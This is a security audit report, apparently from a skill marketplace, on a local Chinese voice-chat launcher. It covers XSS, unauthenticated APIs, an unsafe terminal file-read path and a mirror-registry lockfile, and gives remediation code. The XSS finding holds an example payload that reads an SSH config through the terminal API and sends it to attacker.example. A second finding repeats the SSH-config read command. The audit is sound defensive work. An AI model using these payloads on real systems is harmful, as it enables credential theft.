Back to skill

Security audit

Ningyao Voice Launcher

Security checks for vulnerabilities and agentic risk

Overview

This looks like a real local Chinese voice-chat launcher, but it exposes sensitive screen/chat data and a browser terminal through weakly protected local APIs.

Install only if you are comfortable running a local web server that can send chat and screen content to the configured model provider. Before use, bind the server to loopback, add per-launch authentication, disable or remove the terminal endpoint, fix the file-read and innerHTML issues, regenerate dependencies from a trusted registry, and keep the API key out of shared folders or version control.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
assets/voice-chat-local/public/app.js:61
Finding
DOM-Based Cross-Site Scripting in Chat Message Rendering<![CDATA[ ## Vulnerability Details **File Location**: `assets/voice-chat-local/public/app.js:61-66` **Vulnerability Type**: DOM-based cross-site scripting through unsafe HTML insertion **Risk Level**: High ### Vulnerable Code ```javascript function renderMessage(role, content) { const item = document.createElement('article'); item.className = `message ${role}`; item.innerHTML = `<span class="role">${role === 'user' ? '你' : '宁姚'}</span><div>${content}</div>`; messagesNode.appendChild(item); item.scrollIntoView({ behavior: 'smooth', block: 'end' }); } ``` ### Technical Analysis The `content` parameter is inserted directly into `item.innerHTML` without HTML escaping or sanitization. The function is used to display both user-controlled messages and model-generated replies. Because model output can be influenced by prompts and may also originate from a configurable OpenAI-compatible endpoint, it must be treated as untrusted. If `content` contains active HTML such as an element with an event handler, the browser parses it as markup rather than displaying it as text. An attacker or compromised model endpoint could therefore return content such as: ```html <img src=x onerror="fetch('/api/terminal',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({command:'type C:\\Users\\victim\\.ssh\\config'})}).then(r=>r.text()).then(x=>fetch('https://attacker.example/collect',{method:'POST',body:x}))"> ``` The exact exfiltration request may be constrained by browser networking policy, but the injected script still executes with the local application's origin and can issue and read same-origin API requests. ### Attack Path 1. The victim opens the local voice-chat interface. 2. The attacker influences a model reply through prompt manipulation, a malicious compatible API endpoint, or compromised upstream output. 3. The response contains attacker-supplied HTML with an executable event handler. 4. `sendMessage()` passes the returned `dat ...[truncated 1080 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Do not use `innerHTML` for untrusted chat content. Build the message using DOM APIs and assign all untrusted values through `textContent`: ```javascript function renderMessage(role, content) { const item = document.createElement('article'); item.className = `message ${role}`; const roleNode = document.createElement('span'); roleNode.className = 'role'; roleNode.textContent = role === 'user' ? 'You' : 'Ningyao'; const contentNode = document.createElement('div'); contentNode.textContent = String(content); item.append(roleNode, contentNode); messagesNode.appendChild(item); item.scrollIntoView({ behavior: 'smooth', block: 'end' }); } ``` If formatted model output is required, process it with a maintained Markdown renderer configured to reject raw HTML, or sanitize the resulting HTML with a strict allowlist sanitizer such as DOMPurify. Also deploy a restrictive Content Security Policy, for example: ```http Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none' ``` Do not rely on Content Security Policy as a replacement for correct output encoding. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
assets/voice-chat-local/server.js:174
Finding
Unauthenticated Local APIs Exposed Without an Explicit Loopback Binding<![CDATA[ ## Vulnerability Details **File Location**: `assets/voice-chat-local/server.js:174-206` **Vulnerability Type**: Missing authentication and unrestricted network binding **Risk Level**: High ### Vulnerable Code ```javascript app.post('/api/terminal', async (req, res) => { const command = req.body?.command; const matched = matchAllowedCommand(command); if (!matched.ok) { res.status(400).json({ error: 'blocked_command', message: matched.message }); return; } try { const { stdout, stderr } = await execFileAsync(matched.file, matched.args, { cwd: workspaceDir, timeout: 10000, windowsHide: true, maxBuffer: 1024 * 1024 }); res.json({ command: matched.display, mode: matched.mode, stdout: String(stdout || '').trim(), stderr: String(stderr || '').trim() }); } catch (error) { res.status(500).json({ error: 'terminal_failed', message: error.message || '终端执行失败。' }); } }); app.listen(port, () => { console.log(`Voice chat server running at http://localhost:${port}`); }); ``` The same missing access controls apply to the previously registered `/api/chat` and `/api/screen` routes. ### Technical Analysis None of the API routes require authentication, an unguessable session token, or another proof that the caller is the local interactive user. The server also calls `app.listen(port)` without explicitly specifying `127.0.0.1` or `::1`. On typical Node.js installations, omitting the host causes the server to listen on an unspecified address, which can expose it through non-loopback network interfaces. The console message stating that the service is running at `localhost` does not enforce a loopback-only binding. Any host capable of reaching the configured port can therefore directly call the APIs. This includes the terminal endpoint, chat endpoint backed by the user's API key, and image-analysis endpoint. The service also lacks request rate limiting and or ...[truncated 1624 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Explicitly bind the service to the loopback interface: ```javascript app.listen(port, '127.0.0.1', () => { console.log(`Voice chat server running at http://127.0.0.1:${port}`); }); ``` In addition: 1. Generate an unguessable per-launch session token and require it on every API request. 2. Store the token in an `HttpOnly`, `SameSite=Strict` cookie or pass it through a protected authorization header. 3. Reject unexpected `Host` and `Origin` headers. 4. Add CSRF protection for state-changing endpoints. 5. Apply per-client rate limits and concurrency limits, especially to `/api/chat` and `/api/screen`. 6. Disable the terminal endpoint by default and require explicit opt-in. 7. Configure the operating-system firewall to block remote access to the application port. 8. Return minimal information from `/api/health`. 9. Treat loopback binding as defense in depth rather than a replacement for endpoint authentication. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
assets/voice-chat-local/server.js:56
Finding
Restricted Terminal Allows File Access Outside the Workspace<![CDATA[ ## Vulnerability Details **File Location**: `assets/voice-chat-local/server.js:56-64` **Vulnerability Type**: Improper path validation and unsafe command-shell construction **Risk Level**: High ### Vulnerable Code ```javascript if (lower.startsWith('type ')) { const target = command.slice(5).trim(); if (!target || target.includes('..') || target.includes('&') || target.includes('|')) { return { ok: false, message: '只允许读取当前目录内的安全文件路径。' }; } return { ok: true, file: 'cmd', args: ['/c', `type "${target}"`], mode: 'readonly', display: command }; } return { ok: false, message: '只读终端 + 开发白名单终端当前只开放少量命令。' }; ``` The resulting command is later executed as follows: ```javascript const { stdout, stderr } = await execFileAsync(matched.file, matched.args, { cwd: workspaceDir, timeout: 10000, windowsHide: true, maxBuffer: 1024 * 1024 }); ``` ### Technical Analysis The terminal claims that `type` can only read files from the current directory, but the validation only rejects: - Empty targets. - The literal substring `..`. - The `&` character. - The `|` character. It does not reject or safely process: - Absolute drive paths such as `C:\Users\victim\.ssh\config`. - UNC paths such as `\\server\share\file`. - Environment-variable expansion. - Embedded quotation marks. - Shell redirection characters such as `<` and `>`. - Wildcards and other `cmd.exe` syntax. The implementation then concatenates the target into a shell command and executes it through `cmd /c`. Although `execFile` is used, invoking `cmd.exe /c` explicitly reintroduces shell parsing. Setting `cwd` does not constrain absolute paths or prevent shell metacharacter interpretation. ### Attack Path 1. An attacker gains access to the terminal endpoint, either through the unauthenticated network service, DOM XSS, or direct local browser access. 2. The attacker submits a command containing an absolute path: ```json { "command": "type C:\\Users\\victim\\.ssh\\config" } ``` 3. T ...[truncated 1277 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Do not invoke `cmd.exe` to implement file reading. Use filesystem APIs and validate the canonical path before access: ```javascript import fs from 'fs/promises'; import path from 'path'; async function readWorkspaceFile(target) { if (typeof target !== 'string' || !target.trim()) { throw new Error('Invalid file path'); } if (path.isAbsolute(target)) { throw new Error('Absolute paths are not allowed'); } const workspaceRoot = path.resolve(workspaceDir); const resolvedTarget = path.resolve(workspaceRoot, target); const relativeTarget = path.relative(workspaceRoot, resolvedTarget); if ( relativeTarget === '' || relativeTarget.startsWith(`..${path.sep}`) || relativeTarget === '..' || path.isAbsolute(relativeTarget) ) { throw new Error('Path is outside the workspace'); } return fs.readFile(resolvedTarget, 'utf8'); } ``` Further hardening should include: 1. Permit only an explicit allowlist of file names or safe extensions. 2. Reject symbolic links or resolve their real paths before enforcing containment. 3. Set a strict maximum file size. 4. Avoid returning environment files, credentials, key files, or lockfiles containing private registry details. 5. Remove all uses of `cmd /c` where direct process or filesystem APIs can perform the operation. 6. Run the application under a dedicated low-privilege account with access only to its workspace. 7. Disable terminal functionality unless it is specifically required. ]]>

T08 · Insecure Dependencies

Warning
Location
assets/voice-chat-local/package-lock.json:17
Finding
Dependency Lockfile Uses a Non-Official Package Registry Mirror<![CDATA[ ## Vulnerability Details **File Location**: `assets/voice-chat-local/package-lock.json:17-18` **Vulnerability Type**: Third-party dependency distribution and supply-chain trust risk **Risk Level**: Medium ### Vulnerable Code Representative lockfile entry: ```json "resolved": "https://registry.npmmirror.com/@types/node/-/node-18.19.130.tgz", "integrity": "sha512-GRaXQx6jGfL8sKfaIDD6OupbIHBr9jv7Jnaml9tB7l4v068PAOXqfcujMMo5PhbIs6ggR1XODELqahT2R8v0fg==" ``` Other dependencies are resolved through the same mirror, including Express and OpenAI: ```json "resolved": "https://registry.npmmirror.com/express/-/express-4.22.1.tgz" ``` ```json "resolved": "https://registry.npmmirror.com/openai/-/openai-4.104.0.tgz" ``` The installation instructions direct users to install these dependencies: ```markdown 2. Install dependencies with `npm install` in the copied folder. ``` ### Technical Analysis The committed lockfile resolves dependency archives through `registry.npmmirror.com` instead of the official npm registry. This introduces an additional third-party distribution service into the installation trust chain. The included SHA-512 integrity values provide meaningful protection against an archive changing after the lockfile was created. However, they do not remove all risk because the lockfile and its integrity values were generated using that mirror, and users must trust that the mirror originally supplied the intended package contents. The mirror also becomes an availability and metadata trust dependency. No evidence in the reviewed lockfile established that the mirror packages are currently malicious. This finding concerns unsafe supply-chain configuration rather than a confirmed malicious dependency payload. ### Attack Path 1. A user follows `SKILL.md` or the README and runs `npm install`. 2. npm reads the committed lockfile. 3. Dependency archives are requested from `registry.npmmirror.com`. 4. The installation therefore relies on the third-part ...[truncated 927 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Regenerate the lockfile using the official npm registry: ```bash npm config set registry https://registry.npmjs.org/ rm package-lock.json npm install --package-lock-only ``` After reviewing the generated changes, instruct users to perform deterministic installation with: ```bash npm ci ``` Additional supply-chain controls should include: 1. Pin direct dependency versions rather than relying only on broad caret ranges. 2. Review dependency changes before updating the lockfile. 3. Run `npm audit` and an independent software-composition-analysis tool in CI. 4. Use `npm ci --ignore-scripts` when lifecycle scripts are not required. 5. Maintain an allowlist for approved registries. 6. Generate a software bill of materials for releases. 7. Use automated dependency updates that preserve review and integrity verification. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
Findings (32)

Credential Access

High
Category
Privilege Escalation
Content
2. 安装依赖:`cmd /c npm install`
3. 复制配置:`copy .env.example .env`
4. 编辑 `.env`,填入 `OPENAI_API_KEY`
5. 启动:`node --env-file=.env server.js`
6. 打开:`http://localhost:3030`

也可以直接双击:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
2. 安装依赖:`cmd /c npm install`
3. 复制配置:`copy .env.example .env`
4. 编辑 `.env`,填入 `OPENAI_API_KEY`
5. 启动:`node --env-file=.env server.js`
6. 打开:`http://localhost:3030`

也可以直接双击:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
2. 安装依赖:`cmd /c npm install`
3. 复制配置:`copy .env.example .env`
4. 编辑 `.env`,填入 `OPENAI_API_KEY`
5. 启动:`node --env-file=.env server.js`
6. 打开:`http://localhost:3030`

也可以直接双击:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
2. 安装依赖:`cmd /c npm install`
3. 复制配置:`copy .env.example .env`
4. 编辑 `.env`,填入 `OPENAI_API_KEY`
5. 启动:`node --env-file=.env server.js`
6. 打开:`http://localhost:3030`

也可以直接双击:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
2. 安装依赖:`cmd /c npm install`
3. 复制配置:`copy .env.example .env`
4. 编辑 `.env`,填入 `OPENAI_API_KEY`
5. 启动:`node --env-file=.env server.js`
6. 打开:`http://localhost:3030`

也可以直接双击:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
2. 安装依赖:`cmd /c npm install`
3. 复制配置:`copy .env.example .env`
4. 编辑 `.env`,填入 `OPENAI_API_KEY`
5. 启动:`node --env-file=.env server.js`
6. 打开:`http://localhost:3030`

也可以直接双击:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Known Vulnerable Dependency: form-data==4.0.5 — 1 advisory(ies): CVE-2026-12143 (form-data: CRLF injection in form-data via unescaped multipart field names and f)

High
Category
Supply Chain
Confidence
93% confidence
Finding
The project includes form-data 4.0.5, which is flagged for CRLF injection via unescaped multipart field names and filenames. In a voice-chat launcher that may proxy uploads or interact with external APIs, this can enable request smuggling or header/body manipulation when attacker-controlled values are embedded into multipart requests.

Known Vulnerable Dependency: path-to-regexp==0.1.12 — 1 advisory(ies): CVE-2024-45296 (path-to-regexp vulnerable to Regular Expression Denial of Service via multiple r)

High
Category
Supply Chain
Confidence
95% confidence
Finding
path-to-regexp 0.1.12 is a known ReDoS risk, and it is a core routing dependency in Express 4.x. If the application exposes routes influenced by attacker-controlled paths, crafted requests can trigger excessive regex backtracking and tie up the Node.js event loop, causing service degradation or outage.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The README advertises browser voice input, speech output, screen awareness, and configurable remote model endpoints, but it does not explicitly warn that screen content and possibly audio/transcribed content may be sent to the configured API service. In a launcher skill aimed at easy installation, that omission can mislead users into sharing sensitive on-screen or spoken data with third-party endpoints without informed consent.

Lp3

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding
The skill describes actions that involve shell execution, dependency installation, environment variable handling, and likely network access, but it does not declare any tool scope or permissions metadata. That omission weakens reviewability and user consent because an agent could invoke higher-risk capabilities than the skill header suggests, increasing the chance of unintended command execution or secret exposure.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
The skill instructs users to place an API key into a local `.env` file but provides no guidance on secret handling, storage risks, or exclusion from logs and version control. In a launcher that also uses install scripts, browser tooling, and local app setup, this creates a realistic path for accidental credential leakage through copied folders, shell history, screenshots, backups, or repository commits.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The README says the tool captures microphone input and uses an OpenAI model, but does not clearly disclose that user speech transcripts and prompts may be sent to an external API. In a voice-chat skill, this omission can mislead users into believing the system is fully local, increasing privacy and consent risks for sensitive spoken content.

Missing User Warnings

Medium
Confidence
87% confidence
Finding
The application sends full conversation history together with the latest screen summary to the chat backend, but this file contains no explicit privacy notice or consent flow for that data transfer. Because the feature combines spoken content with derived screen information, the sensitivity is higher than ordinary chat and can expose personal or confidential context to the server.

Context-Inappropriate Capability

Medium
Confidence
94% confidence
Finding
The frontend exposes a terminal execution feature in a voice chat launcher and sends raw user-supplied commands to a backend execution endpoint. Even if the backend intends to restrict commands, this UI materially enables command execution in a context where users may not expect shell access, increasing the chance of abuse, prompt-driven misuse, or dangerous backend implementation flaws.

Intent-Code Divergence

Medium
Confidence
95% confidence
Finding
The interface tells the user to enter a 'whitelisted' command, but the code forwards any trimmed string to /api/terminal without enforcing any allowlist on the client. This mismatch is dangerous because it creates a false sense of safety and, if backend validation is weak or bypassable, can lead to arbitrary command execution.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
User-entered terminal commands are sent to the backend for execution without a strong warning about the risk of running system commands. In this context, users may be induced to execute destructive or sensitive operations, and any backend weakness could turn this into system compromise or data loss.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
Speech recognition is hard-coded to `zh-CN`, and the rest of the UI and voice selection logic are also constrained to Chinese-language operation. This is a locale policy issue because the skill does not appear to offer a language choice or require explicit user opt-in for the forced locale.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
Captured screen frames are periodically converted to images and transmitted to the backend for analysis, but this code provides no explicit warning that images leave the browser for server-side processing. Screen content may contain secrets, personal data, tokens, or confidential documents, so silent or unclear transmission creates a meaningful privacy and data-handling risk.

Natural-Language Policy Violations

Medium
Confidence
92% confidence
Finding
The HTML sets the document language to zh-CN and presents the primary title and onboarding text entirely in Chinese, which imposes a specific language/locale on users. There is no visible opt-in, language switcher, or documented reason that this skill must be Chinese-only.

Intent-Code Divergence

Medium
Confidence
94% confidence
Finding
The HTML explicitly tells users the terminal is 'read-only' and protected by a 'safe whitelist', but this file contains only marketing/descriptive text and no technical enforcement. In a skill that exposes a browser-based terminal launcher, misleading security claims can cause users to trust and invoke terminal features under false assumptions, increasing the chance of unsafe command execution if backend or frontend enforcement is absent or weaker than advertised.

External Transmission

Medium
Category
Data Exfiltration
Content
const port = Number(process.env.PORT || 3030);
const model = process.env.OPENAI_MODEL || 'gpt-4.1-mini';
const requestTimeoutMs = Number(process.env.OPENAI_TIMEOUT_MS || 15000);
const baseURL = process.env.OPENAI_BASE_URL || 'https://api.openai.com/v1';
const systemPrompt = process.env.SYSTEM_PROMPT || '你叫宁姚。语气冷静、可靠、有骨气,不油滑,不轻浮。用中文简洁回答,像在和熟悉的人并肩说话。';
const apiKey = process.env.OPENAI_API_KEY;
const client = apiKey ? new OpenAI({ apiKey, baseURL, timeout: requestTimeoutMs }) : null;
Confidence
93% confidence
Finding
This server sends user chat history and optional screen-derived context to an external API endpoint by default. In a local voice companion with screen awareness, that can transmit sensitive on-screen content, conversation data, or workspace context off-device, creating privacy and data-handling risk if users are not explicitly informed and consenting.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
The default system prompt explicitly instructs the model to answer in Chinese, which imposes a fixed language policy on all users. The file does not offer a user opt-in or language selection mechanism, so this is a natural-language locale policy violation under the stated rules.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
Both branches of the screen summarization instruction require the model to produce output in Chinese. Because this language constraint is hard-coded and no alternative locale choice is offered, it violates the language/locale policy criteria.

Natural-Language Policy Violations

Medium
Confidence
90% confidence
Finding
The package description specifies a "Ningyao-style Chinese voice companion," which indicates a language/locale constraint in the skill's natural-language description. There is no accompanying indication that users can choose another language or explicitly opt into Chinese-only behavior.

Context-Inappropriate Capability

Medium
Confidence
96% confidence
Finding
This code obtains an auth token, resolves a registry, and performs an authenticated upload to https://clawhub.ai, which is unrelated to the user-facing function of installing or running a local voice companion. In the context of an end-user skill, authenticated publishing capability is risky because it can misuse existing credentials to publish content remotely without meaningful separation between local setup behavior and maintainer operations.

Static analysis

No suspicious patterns detected.